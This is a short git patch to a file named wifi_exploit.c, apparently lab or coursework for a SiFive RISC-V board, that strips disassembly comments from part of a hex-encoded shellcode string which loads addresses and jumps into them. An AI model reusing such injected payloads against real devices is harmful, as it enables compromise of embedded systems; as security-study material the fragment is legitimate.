From 97ee1ae7050cfa4e4cfc5094b3f37f9701859cb9 Mon Sep 17 00:00:00 2001 From: fptk <fptk@zedat.fu-berlin.de> Date: Fri, 19 Feb 2021 13:19:04 +0100 Subject: [PATCH] Rest von Freitag --- sifive_software/src/wifi_exploit.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/sifive_software/src/wifi_exploit.c b/sifive_software/src/wifi_exploit.c index 7555cc5..1ae8c38 100644 --- a/sifive_software/src/wifi_exploit.c +++ b/sifive_software/src/wifi_exploit.c @@ -120,10 +120,10 @@ int main(void) { char *attack = "sBAUM"; char *revattack = "a" - "\x37\x05\x01\x20" // 0: lui a0,0x20010 - "\x13\x05\xc5\x55" // 4: addi a0,a0,1372 # 0x2001055c - "\x13\x0e\x00\x00" // 8: li t3,0 - "\x37\x1e\x01\x20" // c: lui t3,0x20011 + "\x37\x05\x01\x20" + "\x13\x05\xc5\x55" + "\x13\x0e\x00\x00" + "\x37\x1e\x01\x20" "\x13\x0e\xce\x45" // 10: addi t3,t3,1116 # 0x2001145c "\xe7\x0e\x0e\x00" // 14: jalr t4,t3 "\x13\x00\x00\x00" // 18: nop -- GitLab